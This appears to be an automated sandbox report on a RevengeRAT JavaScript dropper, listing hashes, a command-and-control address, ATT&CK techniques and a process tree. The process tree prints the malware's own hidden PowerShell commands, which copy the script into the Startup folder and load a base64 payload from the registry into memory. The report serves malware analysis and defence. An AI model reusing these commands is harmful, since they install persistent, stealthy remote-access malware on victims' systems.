revengerat | 6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22

General

Target

6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js
Size

119KB
MD5

5f05f5c7e4e19da45e124065d6f5fd1e
SHA1

12be89e5beb8ad794235f16bf29dc36a56d012af
SHA256

6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22
SHA512

2776bd209d50a93a17077c958f31378c1972b054e6aa42a398fc1a9a1f5c69bd8b79d04fd46a07b1b65996c2b6bf6c3032c95e09009655532e62e6540403d5a6
SSDEEP

1536:0+fUYZPT8sYJHkWF5qBKoy1XtczvzYFNW+Nn:nfLasWHtuY1XtcbsFNW+Nn

Score

10^/10

revengerat nyancatrevenge execution trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.231.150.177:5222

Mutex

282ac7d305

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	2532	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2700	powershell.exe
2532	powershell.exe
2680	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2680	powershell.exe
2532	powershell.exe
2700	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2680	powershell.exe
Token: SeDebugPrivilege	2532	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 808 wrote to memory of 2680	808	wscript.exe	30
PID 808 wrote to memory of 2680	808	wscript.exe	30
PID 808 wrote to memory of 2680	808	wscript.exe	30
PID 2680 wrote to memory of 2840	2680	powershell.exe	32
PID 2680 wrote to memory of 2840	2680	powershell.exe	32
PID 2680 wrote to memory of 2840	2680	powershell.exe	32
PID 2840 wrote to memory of 2700	2840	wscript.exe	33
PID 2840 wrote to memory of 2700	2840	wscript.exe	33
PID 2840 wrote to memory of 2700	2840	wscript.exe	33
PID 2840 wrote to memory of 2532	2840	wscript.exe	35
PID 2840 wrote to memory of 2532	2840	wscript.exe	35
PID 2840 wrote to memory of 2532	2840	wscript.exe	35

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js
1⤵
- Suspicious use of WriteProcessMemory
PID:808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js'));wscript 'C:\Users\Admin\AppData\Roaming\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2840
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js'))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2700
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mastercoca').mastercoca;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js

Filesize
59KB

MD5
e9dd8e7412f2f40bf00bbb0e40055a40

SHA1
718625814199c7b89012f21564c46298c72ba698

SHA256
fa317dc427e8220fb94c7cad40a0f513462d46851477b4c1cdef7bc49eb9a7e2

SHA512
c0501746cd0bd537dc7ae13b8e34c543c84eeb84b34ae6f4c49f8b4d395becd4595e0dad95c0f24631cb8a29232d0f1a4047ede54a49b5213ecaba4d6224728e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
67a4a2b29c41589415d57c003db2566f

SHA1
c775df5c99d106ba2427089bf5bd307152ce0564

SHA256
21105cdc9e86e4fa66677fb7744d34e2760055b45fddeb1a1de39b18f2187e99

SHA512
7c4aefc64eb12b1ecf3f91d273f50d50a2d3f50847bd6f4fece5d5398f5eb040f792d3a7a9220a1094c7ac01342686b90453bb57dc821f6d0b74f196d70fc209

Download Submit
memory/2532-24-0x0000000002920000-0x000000000292A000-memory.dmp

Filesize
40KB

Download
memory/2680-4-0x000007FEF5B2E000-0x000007FEF5B2F000-memory.dmp

Filesize
4KB

Download
memory/2680-5-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2680-6-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2680-7-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-9-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-8-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-10-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-25-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-26-0x000007FEF5B2E000-0x000007FEF5B2F000-memory.dmp

Filesize
4KB

Download

Analysis

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